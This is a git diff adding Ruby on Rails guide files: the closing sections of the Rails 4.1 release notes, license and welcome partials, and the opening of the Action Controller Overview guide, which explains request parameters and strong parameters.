+your JavaScript URL and attempting to run it to extract sensitive data.
+
+This means any of your tests that hit `.js` URLs will now fail CSRF protection
+unless they use `xhr`. Upgrade your tests to be explicit about expecting
+XmlHttpRequests. Instead of `post :create, format: :js`, switch to the explicit
+`xhr :post, :create, format: :js`.
+
+
+Railties
+--------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/railties/CHANGELOG.md)
+for detailed changes.
+
+### Removals
+
+* Removed `update:application_controller` rake task.
+
+* Removed deprecated `Rails.application.railties.engines`.
+
+* Removed deprecated `threadsafe!` from Rails Config.
+
+* Removed deprecated `ActiveRecord::Generators::ActiveModel#update_attributes` in
+  favor of `ActiveRecord::Generators::ActiveModel#update`.
+
+* Removed deprecated `config.whiny_nils` option.
+
+* Removed deprecated rake tasks for running tests: `rake test:uncommitted` and
+  `rake test:recent`.
+
+### Notable changes
+
+* The [Spring application
+  preloader](https://github.com/rails/spring) is now installed
+  by default for new applications. It uses the development group of
+  the Gemfile, so will not be installed in
+  production. ([Pull Request](https://github.com/rails/rails/pull/12958))
+
+* `BACKTRACE` environment variable to show unfiltered backtraces for test
+  failures. ([Commit](https://github.com/rails/rails/commit/84eac5dab8b0fe9ee20b51250e52ad7bfea36553))
+
+* Exposed `MiddlewareStack#unshift` to environment
+  configuration. ([Pull Request](https://github.com/rails/rails/pull/12479))
+
+* Added `Application#message_verifier` method to return a message
+  verifier. ([Pull Request](https://github.com/rails/rails/pull/12995))
+
+* The `test_help.rb` file which is required by the default generated test
+  helper will automatically keep your test database up-to-date with
+  `db/schema.rb` (or `db/structure.sql`). It raises an error if
+  reloading the schema does not resolve all pending migrations. Opt out
+  with `config.active_record.maintain_test_schema = false`. ([Pull
+  Request](https://github.com/rails/rails/pull/13528))
+
+* Introduce `Rails.gem_version` as a convenience method to return
+  `Gem::Version.new(Rails.version)`, suggesting a more reliable way to perform
+  version comparison. ([Pull Request](https://github.com/rails/rails/pull/14103))
+
+
+Action Pack
+-----------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/actionpack/CHANGELOG.md)
+for detailed changes.
+
+### Removals
+
+* Removed deprecated Rails application fallback for integration testing, set
+  `ActionDispatch.test_app` instead.
+
+* Removed deprecated `page_cache_extension` config.
+
+* Removed deprecated `ActionController::RecordIdentifier`, use
+  `ActionView::RecordIdentifier` instead.
+
+* Removed deprecated constants from Action Controller:
+
+  | Removed                            | Successor                       |
+  |:-----------------------------------|:--------------------------------|
+  | ActionController::AbstractRequest  | ActionDispatch::Request         |
+  | ActionController::Request          | ActionDispatch::Request         |
+  | ActionController::AbstractResponse | ActionDispatch::Response        |
+  | ActionController::Response         | ActionDispatch::Response        |
+  | ActionController::Routing          | ActionDispatch::Routing         |
+  | ActionController::Integration      | ActionDispatch::Integration     |
+  | ActionController::IntegrationTest  | ActionDispatch::IntegrationTest |
+
+### Notable changes
+
+* `protect_from_forgery` also prevents cross-origin `<script>` tags.
+  Update your tests to use `xhr :get, :foo, format: :js` instead of
+  `get :foo, format: :js`.
+  ([Pull Request](https://github.com/rails/rails/pull/13345))
+
+* `#url_for` takes a hash with options inside an
+  array. ([Pull Request](https://github.com/rails/rails/pull/9599))
+
+* Added `session#fetch` method fetch behaves similarly to
+  [Hash#fetch](http://www.ruby-doc.org/core-1.9.3/Hash.html#method-i-fetch),
+  with the exception that the returned value is always saved into the
+  session. ([Pull Request](https://github.com/rails/rails/pull/12692))
+
+* Separated Action View completely from Action
+  Pack. ([Pull Request](https://github.com/rails/rails/pull/11032))
+
+* Log which keys were affected by deep
+  munge. ([Pull Request](https://github.com/rails/rails/pull/13813))
+
+* New config option `config.action_dispatch.perform_deep_munge` to opt out of
+  params "deep munging" that was used to address security vulnerability
+  CVE-2013-0155. ([Pull Request](https://github.com/rails/rails/pull/13188))
+
+* New config option `config.action_dispatch.cookies_serializer` for specifying a
+  serializer for the signed and encrypted cookie jars. (Pull Requests
+  [1](https://github.com/rails/rails/pull/13692),
+  [2](https://github.com/rails/rails/pull/13945) /
+  [More Details](upgrading_ruby_on_rails.html#cookies-serializer))
+
+* Added `render :plain`, `render :html` and `render
+  :body`. ([Pull Request](https://github.com/rails/rails/pull/14062) /
+  [More Details](upgrading_ruby_on_rails.html#rendering-content-from-string))
+
+
+Action Mailer
+-------------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/actionmailer/CHANGELOG.md)
+for detailed changes.
+
+### Notable changes
+
+* Added mailer previews feature based on 37 Signals mail_view
+  gem. ([Commit](https://github.com/rails/rails/commit/d6dec7fcb6b8fddf8c170182d4fe64ecfc7b2261))
+
+* Instrument the generation of Action Mailer messages. The time it takes to
+  generate a message is written to the log. ([Pull Request](https://github.com/rails/rails/pull/12556))
+
+
+Active Record
+-------------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/activerecord/CHANGELOG.md)
+for detailed changes.
+
+### Removals
+
+* Removed deprecated nil-passing to the following `SchemaCache` methods:
+  `primary_keys`, `tables`, `columns` and `columns_hash`.
+
+* Removed deprecated block filter from `ActiveRecord::Migrator#migrate`.
+
+* Removed deprecated String constructor from `ActiveRecord::Migrator`.
+
+* Removed deprecated `scope` use without passing a callable object.
+
+* Removed deprecated `transaction_joinable=` in favor of `begin_transaction`
+  with `d:joinable` option.
+
+* Removed deprecated `decrement_open_transactions`.
+
+* Removed deprecated `increment_open_transactions`.
+
+* Removed deprecated `PostgreSQLAdapter#outside_transaction?`
+  method. You can use `#transaction_open?` instead.
+
+* Removed deprecated `ActiveRecord::Fixtures.find_table_name` in favor of
+  `ActiveRecord::Fixtures.default_fixture_model_name`.
+
+* Removed deprecated `columns_for_remove` from `SchemaStatements`.
+
+* Removed deprecated `SchemaStatements#distinct`.
+
+* Moved deprecated `ActiveRecord::TestCase` into the Rails test
+  suite. The class is no longer public and is only used for internal
+  Rails tests.
+
+* Removed support for deprecated option `:restrict` for `:dependent`
+  in associations.
+
+* Removed support for deprecated `:delete_sql`, `:insert_sql`, `:finder_sql`
+  and `:counter_sql` options in associations.
+
+* Removed deprecated method `type_cast_code` from Column.
+
+* Removed deprecated `ActiveRecord::Base#connection` method.
+  Make sure to access it via the class.
+
+* Removed deprecation warning for `auto_explain_threshold_in_seconds`.
+
+* Removed deprecated `:distinct` option from `Relation#count`.
+
+* Removed deprecated methods `partial_updates`, `partial_updates?` and
+  `partial_updates=`.
+
+* Removed deprecated method `scoped`.
+
+* Removed deprecated method `default_scopes?`.
+
+* Remove implicit join references that were deprecated in 4.0.
+
+* Removed `activerecord-deprecated_finders` as a dependency.
+  Please see [the gem README](https://github.com/rails/activerecord-deprecated_finders#active-record-deprecated-finders)
+  for more info.
+
+* Removed usage of `implicit_readonly`. Please use `readonly` method
+  explicitly to mark records as
+  `readonly`. ([Pull Request](https://github.com/rails/rails/pull/10769))
+
+### Deprecations
+
+* Deprecated `quoted_locking_column` method, which isn't used anywhere.
+
+* Deprecated `ConnectionAdapters::SchemaStatements#distinct`,
+  as it is no longer used by internals. ([Pull Request](https://github.com/rails/rails/pull/10556))
+
+* Deprecated `rake db:test:*` tasks as the test database is now
+  automatically maintained. See railties release notes. ([Pull
+  Request](https://github.com/rails/rails/pull/13528))
+
+* Deprecate unused `ActiveRecord::Base.symbolized_base_class`
+  and `ActiveRecord::Base.symbolized_sti_name` without
+  replacement. [Commit](https://github.com/rails/rails/commit/97e7ca48c139ea5cce2fa9b4be631946252a1ebd)
+
+### Notable changes
+
+* Default scopes are no longer overriden by chained conditions.
+
+  Before this change when you defined a `default_scope` in a model
+  it was overriden by chained conditions in the same field. Now it
+  is merged like any other scope. [More Details](upgrading_ruby_on_rails.html#changes-on-default-scopes).
+
+* Added `ActiveRecord::Base.to_param` for convenient "pretty" URLs derived from
+  a model's attribute or
+  method. ([Pull Request](https://github.com/rails/rails/pull/12891))
+
+* Added `ActiveRecord::Base.no_touching`, which allows ignoring touch on
+  models. ([Pull Request](https://github.com/rails/rails/pull/12772))
+
+* Unify boolean type casting for `MysqlAdapter` and `Mysql2Adapter`.
+  `type_cast` will return `1` for `true` and `0` for `false`. ([Pull Request](https://github.com/rails/rails/pull/12425))
+
+* `.unscope` now removes conditions specified in
+  `default_scope`. ([Commit](https://github.com/rails/rails/commit/94924dc32baf78f13e289172534c2e71c9c8cade))
+
+* Added `ActiveRecord::QueryMethods#rewhere` which will overwrite an existing,
+  named where condition. ([Commit](https://github.com/rails/rails/commit/f950b2699f97749ef706c6939a84dfc85f0b05f2))
+
+* Extended `ActiveRecord::Base#cache_key` to take an optional list of timestamp
+  attributes of which the highest will be used. ([Commit](https://github.com/rails/rails/commit/e94e97ca796c0759d8fcb8f946a3bbc60252d329))
+
+* Added `ActiveRecord::Base#enum` for declaring enum attributes where the values
+  map to integers in the database, but can be queried by
+  name. ([Commit](https://github.com/rails/rails/commit/db41eb8a6ea88b854bf5cd11070ea4245e1639c5))
+
+* Type cast json values on write, so that the value is consistent with reading
+  from the database. ([Pull Request](https://github.com/rails/rails/pull/12643))
+
+* Type cast hstore values on write, so that the value is consistent
+  with reading from the database. ([Commit](https://github.com/rails/rails/commit/5ac2341fab689344991b2a4817bd2bc8b3edac9d))
+
+* Make `next_migration_number` accessible for third party
+  generators. ([Pull Request](https://github.com/rails/rails/pull/12407))
+
+* Calling `update_attributes` will now throw an `ArgumentError` whenever it
+  gets a `nil` argument. More specifically, it will throw an error if the
+  argument that it gets passed does not respond to to
+  `stringify_keys`. ([Pull Request](https://github.com/rails/rails/pull/9860))
+
+* `CollectionAssociation#first`/`#last` (e.g. `has_many`) use a `LIMIT`ed
+  query to fetch results rather than loading the entire
+  collection. ([Pull Request](https://github.com/rails/rails/pull/12137))
+
+* `inspect` on Active Record model classes does not initiate a new
+  connection. This means that calling `inspect`, when the database is missing,
+  will no longer raise an exception. ([Pull Request](https://github.com/rails/rails/pull/11014))
+
+* Removed column restrictions for `count`, let the database raise if the SQL is
+  invalid. ([Pull Request](https://github.com/rails/rails/pull/10710))
+
+* Rails now automatically detects inverse associations. If you do not set the
+  `:inverse_of` option on the association, then Active Record will guess the
+  inverse association based on heuristics. ([Pull Request](https://github.com/rails/rails/pull/10886))
+
+* Handle aliased attributes in ActiveRecord::Relation. When using symbol keys,
+  ActiveRecord will now translate aliased attribute names to the actual column
+  name used in the database. ([Pull Request](https://github.com/rails/rails/pull/7839))
+
+* The ERB in fixture files is no longer evaluated in the context of the main
+  object. Helper methods used by multiple fixtures should be defined on modules
+  included in `ActiveRecord::FixtureSet.context_class`. ([Pull Request](https://github.com/rails/rails/pull/13022))
+
+* Don't create or drop the test database if RAILS_ENV is specified
+  explicitly. ([Pull Request](https://github.com/rails/rails/pull/13629))
+
+* `Relation` no longer has mutator methods like `#map!` and `#delete_if`. Convert
+  to an `Array` by calling `#to_a` before using these methods. ([Pull Request](https://github.com/rails/rails/pull/13314))
+
+* `find_in_batches`, `find_each`, `Result#each` and `Enumerable#index_by` now
+  return an `Enumerator` that can calculate its
+  size. ([Pull Request](https://github.com/rails/rails/pull/13938))
+
+* `scope`, `enum` and Associations now raise on "dangerous" name
+  conflicts. ([Pull Request](https://github.com/rails/rails/pull/13450),
+  [Pull Request](https://github.com/rails/rails/pull/13896))
+
+* `second` through `fifth` methods act like the `first`
+  finder. ([Pull Request](https://github.com/rails/rails/pull/13757))
+
+* Make `touch` fire the `after_commit` and `after_rollback`
+  callbacks. ([Pull Request](https://github.com/rails/rails/pull/12031))
+
+* Enable partial indexes for `sqlite >= 3.8.0`.
+  ([Pull Request](https://github.com/rails/rails/pull/13350))
+
+* Make `change_column_null`
+  revertable. ([Commit](https://github.com/rails/rails/commit/724509a9d5322ff502aefa90dd282ba33a281a96))
+
+* Added a flag to disable schema dump after migration. This is set to `false`
+  by default in the production environment for new applications.
+  ([Pull Request](https://github.com/rails/rails/pull/13948))
+
+
+Active Model
+------------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/activemodel/CHANGELOG.md)
+for detailed changes.
+
+### Deprecations
+
+* Deprecate `Validator#setup`. This should be done manually now in the
+  validator's constructor. ([Commit](https://github.com/rails/rails/commit/7d84c3a2f7ede0e8d04540e9c0640de7378e9b3a))
+
+### Notable changes
+
+* Added new API methods `reset_changes` and `changes_applied` to
+  `ActiveModel::Dirty` that control changes state.
+
+* Ability to specify multiple contexts when defining a
+  validation. ([Pull Request](https://github.com/rails/rails/pull/13754))
+
+* `attribute_changed?` now accepts a hash to check if the attribute was changed
+  `:from` and/or `:to` a given
+  value. ([Pull Request](https://github.com/rails/rails/pull/13131))
+
+
+Active Support
+--------------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/activesupport/CHANGELOG.md)
+for detailed changes.
+
+
+### Removals
+
+* Removed `MultiJSON` dependency. As a result, `ActiveSupport::JSON.decode`
+  no longer accepts an options hash for `MultiJSON`. ([Pull Request](https://github.com/rails/rails/pull/10576) / [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Removed support for the `encode_json` hook used for encoding custom objects into
+  JSON. This feature has been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder)
+  gem.
+  ([Related Pull Request](https://github.com/rails/rails/pull/12183) /
+  [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Removed deprecated `ActiveSupport::JSON::Variable` with no replacement.
+
+* Removed deprecated `String#encoding_aware?` core extensions (`core_ext/string/encoding`).
+
+* Removed deprecated `Module#local_constant_names` in favor of `Module#local_constants`.
+
+* Removed deprecated `DateTime.local_offset` in favor of `DateTime.civil_from_format`.
+
+* Removed deprecated `Logger` core extensions (`core_ext/logger.rb`).
+
+* Removed deprecated `Time#time_with_datetime_fallback`, `Time#utc_time` and
+  `Time#local_time` in favor of `Time#utc` and `Time#local`.
+
+* Removed deprecated `Hash#diff` with no replacement.
+
+* Removed deprecated `Date#to_time_in_current_zone` in favor of `Date#in_time_zone`.
+
+* Removed deprecated `Proc#bind` with no replacement.
+
+* Removed deprecated `Array#uniq_by` and `Array#uniq_by!`, use native
+  `Array#uniq` and `Array#uniq!` instead.
+
+* Removed deprecated `ActiveSupport::BasicObject`, use
+  `ActiveSupport::ProxyObject` instead.
+
+* Removed deprecated `BufferedLogger`, use `ActiveSupport::Logger` instead.
+
+* Removed deprecated `assert_present` and `assert_blank` methods, use `assert
+  object.blank?` and `assert object.present?` instead.
+
+* Remove deprecated `#filter` method for filter objects, use the corresponding
+  method instead (e.g. `#before` for a before filter).
+
+* Removed 'cow' => 'kine' irregular inflection from default
+  inflections. ([Commit](https://github.com/rails/rails/commit/c300dca9963bda78b8f358dbcb59cabcdc5e1dc9))
+
+### Deprecations
+
+* Deprecated `Numeric#{ago,until,since,from_now}`, the user is expected to
+  explicitly convert the value into an AS::Duration, i.e. `5.ago` => `5.seconds.ago`
+  ([Pull Request](https://github.com/rails/rails/pull/12389))
+
+* Deprecated the require path `active_support/core_ext/object/to_json`. Require
+  `active_support/core_ext/object/json` instead. ([Pull Request](https://github.com/rails/rails/pull/12203))
+
+* Deprecated `ActiveSupport::JSON::Encoding::CircularReferenceError`. This feature
+  has been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder)
+  gem.
+  ([Pull Request](https://github.com/rails/rails/pull/12785) /
+  [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Deprecated `ActiveSupport.encode_big_decimal_as_string` option. This feature has
+  been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder)
+  gem.
+  ([Pull Request](https://github.com/rails/rails/pull/13060) /
+  [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Deprecate custom `BigDecimal`
+  serialization. ([Pull Request](https://github.com/rails/rails/pull/13911))
+
+### Notable changes
+
+* `ActiveSupport`'s JSON encoder has been rewritten to take advantage of the
+  JSON gem rather than doing custom encoding in pure-Ruby.
+  ([Pull Request](https://github.com/rails/rails/pull/12183) /
+  [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Improved compatibility with the JSON gem.
+  ([Pull Request](https://github.com/rails/rails/pull/12862) /
+  [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Added `ActiveSupport::Testing::TimeHelpers#travel` and `#travel_to`. These
+  methods change current time to the given time or duration by stubbing
+  `Time.now` and `Date.today`.
+
+* Added `ActiveSupport::Testing::TimeHelpers#travel_back`. This method returns
+  the current time to the original state, by removing the stubs added by `travel`
+  and `travel_to`. ([Pull Request](https://github.com/rails/rails/pull/13884))
+
+* Added `Numeric#in_milliseconds`, like `1.hour.in_milliseconds`, so we can feed
+  them to JavaScript functions like
+  `getTime()`. ([Commit](https://github.com/rails/rails/commit/423249504a2b468d7a273cbe6accf4f21cb0e643))
+
+* Added `Date#middle_of_day`, `DateTime#middle_of_day` and `Time#middle_of_day`
+  methods. Also added `midday`, `noon`, `at_midday`, `at_noon` and
+  `at_middle_of_day` as
+  aliases. ([Pull Request](https://github.com/rails/rails/pull/10879))
+
+* Added `Date#all_week/month/quarter/year` for generating date
+  ranges. ([Pull Request](https://github.com/rails/rails/pull/9685))
+
+* Added `Time.zone.yesterday` and
+  `Time.zone.tomorrow`. ([Pull Request](https://github.com/rails/rails/pull/12822))
+
+* Added `String#remove(pattern)` as a short-hand for the common pattern of
+  `String#gsub(pattern,'')`. ([Commit](https://github.com/rails/rails/commit/5da23a3f921f0a4a3139495d2779ab0d3bd4cb5f))
+
+* Added `Hash#compact` and `Hash#compact!` for removing items with nil value
+  from hash. ([Pull Request](https://github.com/rails/rails/pull/13632))
+
+* `blank?` and `present?` commit to return
+  singletons. ([Commit](https://github.com/rails/rails/commit/126dc47665c65cd129967cbd8a5926dddd0aa514))
+
+* Default the new `I18n.enforce_available_locales` config to `true`, meaning
+  `I18n` will make sure that all locales passed to it must be declared in the
+  `available_locales`
+  list. ([Pull Request](https://github.com/rails/rails/pull/13341))
+
+* Introduce `Module#concerning`: a natural, low-ceremony way to separate
+  responsibilities within a
+  class. ([Commit](https://github.com/rails/rails/commit/1eee0ca6de975b42524105a59e0521d18b38ab81))
+
+* Added `Object#presence_in` to simplify value whitelisting.
+  ([Commit](https://github.com/rails/rails/commit/4edca106daacc5a159289eae255207d160f22396))
+
+
+Credits
+-------
+
+See the
+[full list of contributors to Rails](http://contributors.rubyonrails.org/) for
+the many people who spent many hours making Rails, the stable and robust
+framework it is. Kudos to all of them.
diff --git a/guides/source/_license.html.erb b/guides/source/_license.html.erb
new file mode 100644
index 0000000..00b4466
--- /dev/null
+++ b/guides/source/_license.html.erb
@@ -0,0 +1,2 @@
+<p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+<p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
diff --git a/guides/source/_welcome.html.erb b/guides/source/_welcome.html.erb
new file mode 100644
index 0000000..3398b9d
--- /dev/null
+++ b/guides/source/_welcome.html.erb
@@ -0,0 +1,25 @@
+<h2>Ruby on Rails Guides (<%= @edge ? @version[0, 7] : @version %>)</h2>
+
+<% if @edge %>
+<p>
+  These are <b>Edge Guides</b>, based on the current <a href="https://github.com/rails/rails/tree/<%= @version %>">master</a> branch.
+</p>
+<p>
+  If you are looking for the ones for the stable version, please check
+  <a href="http://guides.rubyonrails.org">http://guides.rubyonrails.org</a> instead.
+</p>
+<% else %>
+<p>
+  These are the new guides for Rails 4.1 based on <a href="https://github.com/rails/rails/tree/<%= @version %>"><%= @version %></a>.
+  These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together.
+</p>
+<% end %>
+<p>
+  The guides for Rails 4.0.x are available at <a href="http://guides.rubyonrails.org/v4.0.6/">http://guides.rubyonrails.org/v4.0.6/</a>.
+</p>
+<p>
+  The guides for Rails 3.2.x are available at <a href="http://guides.rubyonrails.org/v3.2.18/">http://guides.rubyonrails.org/v3.2.18/</a>.
+</p>
+<p>
+  The guides for Rails 2.3.x are available at <a href="http://guides.rubyonrails.org/v2.3.11/">http://guides.rubyonrails.org/v2.3.11/</a>.
+</p>
diff --git a/guides/source/action_controller_overview.md b/guides/source/action_controller_overview.md
new file mode 100644
index 0000000..5b9afdb
--- /dev/null
+++ b/guides/source/action_controller_overview.md
@@ -0,0 +1,1175 @@
+Action Controller Overview
+==========================
+
+In this guide you will learn how controllers work and how they fit into the request cycle in your application.
+
+After reading this guide, you will know:
+
+* How to follow the flow of a request through a controller.
+* How to restrict parameters passed to your controller.
+* Why and how to store data in the session or cookies.
+* How to work with filters to execute code during request processing.
+* How to use Action Controller's built-in HTTP authentication.
+* How to stream data directly to the user's browser.
+* How to filter sensitive parameters so they do not appear in the application's log.
+* How to deal with exceptions that may be raised during request processing.
+
+--------------------------------------------------------------------------------
+
+What Does a Controller Do?
+--------------------------
+
+Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straightforward as possible.
+
+For most conventional [RESTful](http://en.wikipedia.org/wiki/Representational_state_transfer) applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.
+
+A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model.
+
+NOTE: For more details on the routing process, see [Rails Routing from the Outside In](routing.html).
+
+Controller Naming Convention
+----------------------------
+
+The naming convention of controllers in Rails favors pluralization of the last word in the controller's name, although it is not strictly required (e.g. `ApplicationController`). For example, `ClientsController` is preferable to `ClientController`, `SiteAdminsController` is preferable to `SiteAdminController` or `SitesAdminsController`, and so on.
+
+Following this convention will allow you to use the default route generators (e.g. `resources`, etc) without needing to qualify each `:path` or `:controller`, and keeps URL and path helpers' usage consistent throughout your application. See [Layouts & Rendering Guide](layouts_and_rendering.html) for more details.
+
+NOTE: The controller naming convention differs from the naming convention of models, which expected to be named in singular form.
+
+
+Methods and Actions
+-------------------
+
+A controller is a Ruby class which inherits from `ApplicationController` and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the method with the same name as the action.
+
+```ruby
+class ClientsController < ApplicationController
+  def new
+  end
+end
+```
+
+As an example, if a user goes to `/clients/new` in your application to add a new client, Rails will create an instance of `ClientsController` and run the `new` method. Note that the empty method from the example above would work just fine because Rails will by default render the `new.html.erb` view unless the action says otherwise. The `new` method could make available to the view a `@client` instance variable by creating a new `Client`:
+
+```ruby
+def new
+  @client = Client.new
+end
+```
+
+The [Layouts & Rendering Guide](layouts_and_rendering.html) explains this in more detail.
+
+`ApplicationController` inherits from `ActionController::Base`, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself.
+
+Only public methods are callable as actions. It is a best practice to lower the visibility of methods which are not intended to be actions, like auxiliary methods or filters.
+
+Parameters
+----------
+
+You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from an HTML form which has been filled in by the user. It's called POST data be [...]
+
+```ruby
+class ClientsController < ApplicationController
+  # This action uses query string parameters because it gets run
+  # by an HTTP GET request, but this does not make any difference
+  # to the way in which the parameters are accessed. The URL for
+  # this action would look like this in order to list activated
+  # clients: /clients?status=activated
+  def index
+    if params[:status] == "activated"
+      @clients = Client.activated
+    else
+      @clients = Client.inactivated
+    end
+  end
+
+  # This action uses POST parameters. They are most likely coming
+  # from an HTML form which the user has submitted. The URL for
+  # this RESTful request will be "/clients", and the data will be
+  # sent as part of the request body.
+  def create
+    @client = Client.new(params[:client])
+    if @client.save
+      redirect_to @client
+    else
+      # This line overrides the default rendering behavior, which
+      # would have been to render the "create" view.
+      render "new"
+    end
+  end
+end
+```
+
+### Hash and Array Parameters
+
+The `params` hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append an empty pair of square brackets "[]" to the key name:
+
+```
+GET /clients?ids[]=1&ids[]=2&ids[]=3
+```
+
+NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5d=3" as "[" and "]" are not allowed in URLs. Most of the time you don't have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind.
+
+The value of `params[:ids]` will now be `["1", "2", "3"]`. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.
+
+NOTE: Values such as `[]`, `[nil]` or `[nil, nil, ...]` in `params` are replaced
+with `nil` for security reasons by default. See [Security Guide](security.html#unsafe-query-generation)
+for more information.
+
+To send a hash you include the key name inside the brackets:
+
+```html
+<form accept-charset="UTF-8" action="/clients" method="post">
+  <input type="text" name="client[name]" value="Acme" />
+  <input type="text" name="client[phone]" value="12345" />
+  <input type="text" name="client[address][postcode]" value="12345" />
+  <input type="text" name="client[address][city]" value="Carrot City" />
+</form>
+```
+
+When this form is submitted, the value of `params[:client]` will be `{ "name" => "Acme", "phone" => "12345", "address" => { "postcode" => "12345", "city" => "Carrot City" } }`. Note the nested hash in `params[:client][:address]`.
+
+Note that the `params` hash is actually an instance of `ActiveSupport::HashWithIndifferentAccess`, which acts like a hash but lets you use symbols and strings interchangeably as keys.
+
+### JSON parameters
+
+If you're writing a web service application, you might find yourself more comfortable accepting parameters in JSON format. If the "Content-Type" header of your request is set to "application/json", Rails will automatically convert your parameters into the `params` hash, which you can access as you would normally.
+
+So for example, if you are sending this JSON content:
+
+```json
+{ "company": { "name": "acme", "address": "123 Carrot Street" } }
+```
+
+You'll get `params[:company]` as `{ "name" => "acme", "address" => "123 Carrot Street" }`.
+
+Also, if you've turned on `config.wrap_parameters` in your initializer or calling `wrap_parameters` in your controller, you can safely omit the root element in the JSON parameter. The parameters will be cloned and wrapped in the key according to your controller's name by default. So the above parameter can be written as:
+
+```json
+{ "name": "acme", "address": "123 Carrot Street" }
+```
+
+And assume that you're sending the data to `CompaniesController`, it would then be wrapped in `:company` key like this:
+
+```ruby
+{ name: "acme", address: "123 Carrot Street", company: { name: "acme", address: "123 Carrot Street" } }
+```
+
+You can customize the name of the key or specific parameters you want to wrap by consulting the [API documentation](http://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html)
+
+NOTE: Support for parsing XML parameters has been extracted into a gem named `actionpack-xml_parser`
+
+### Routing Parameters
+
+The `params` hash will always contain the `:controller` and `:action` keys, but you should use the methods `controller_name` and `action_name` instead to access these values. Any other parameters defined by the routing, such as `:id` will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the `:status` parameter in a "pretty" URL:
+
+```ruby
+get '/clients/:status' => 'clients#index', foo: 'bar'
+```
+
+In this case, when a user opens the URL `/clients/active`, `params[:status]` will be set to "active". When this route is used, `params[:foo]` will also be set to "bar" just like it was passed in the query string. In the same way `params[:action]` will contain "index".
+
+### `default_url_options`
+
+You can set global default parameters for URL generation by defining a method called `default_url_options` in your controller. Such a method must return a hash with the desired defaults, whose keys must be symbols:
+
+```ruby
+class ApplicationController < ActionController::Base
+  def default_url_options
+    { locale: I18n.locale }
+  end
+end
+```
+
+These options will be used as a starting point when generating URLs, so it's possible they'll be overridden by the options passed in `url_for` calls.
+
+If you define `default_url_options` in `ApplicationController`, as in the example above, it would be used for all URL generation. The method can also be defined in one specific controller, in which case it only affects URLs generated there.
+
+### Strong Parameters
+
+With strong parameters, Action Controller parameters are forbidden to
+be used in Active Model mass assignments until they have been
+whitelisted. This means you'll have to make a conscious choice about
+which attributes to allow for mass updating and thus prevent
+accidentally exposing that which shouldn't be exposed.
+
+In addition, parameters can be marked as required and flow through a
+predefined raise/rescue flow to end up as a 400 Bad Request with no
+effort.
+
+```ruby
+class PeopleController < ActionController::Base
+  # This will raise an ActiveModel::ForbiddenAttributes exception
+  # because it's using mass assignment without an explicit permit
+  # step.
+  def create
+    Person.create(params[:person])
+  end
+
+  # This will pass with flying colors as long as there's a person key
+  # in the parameters, otherwise it'll raise a
+  # ActionController::ParameterMissing exception, which will get
+  # caught by ActionController::Base and turned into that 400 Bad
+  # Request reply.
+  def update
+    person = current_account.people.find(params[:id])
+    person.update!(person_params)
+    redirect_to person
+  end
+
+  private
+    # Using a private method to encapsulate the permissible parameters
+    # is just a good pattern since you'll be able to reuse the same
+    # permit list between create and update. Also, you can specialize
+    # this method with per-user checking of permissible attributes.
+    def person_params
+      params.require(:person).permit(:name, :age)
+    end
+end
+```
+
+#### Permitted Scalar Values
+
+Given
+
+```ruby
+params.permit(:id)
+```
+
+the key `:id` will pass the whitelisting if it appears in `params` and
+it has a permitted scalar value associated. Otherwise the key is going
+to be filtered out, so arrays, hashes, or any other objects cannot be
+injected.
+
+The permitted scalar types are `String`, `Symbol`, `NilClass`,
+`Numeric`, `TrueClass`, `FalseClass`, `Date`, `Time`, `DateTime`,
+`StringIO`, `IO`, `ActionDispatch::Http::UploadedFile` and
+`Rack::Test::UploadedFile`.
+
+To declare that the value in `params` must be an array of permitted
+scalar values map the key to an empty array:
+
+```ruby
+params.permit(id: [])
+```
+
+To whitelist an entire hash of parameters, the `permit!` method can be
+used:
+
+```ruby
+params.require(:log_entry).permit!
+```
+
+This will mark the `:log_entry` parameters hash and any subhash of it
+permitted. Extreme care should be taken when using `permit!` as it
+will allow all current and future model attributes to be
+mass-assigned.
+
+#### Nested Parameters
+
+You can also use permit on nested parameters, like:
+
+```ruby
+params.permit(:name, { emails: [] },
+              friends: [ :name,
+                         { family: [ :name ], hobbies: [] }])
+```
+
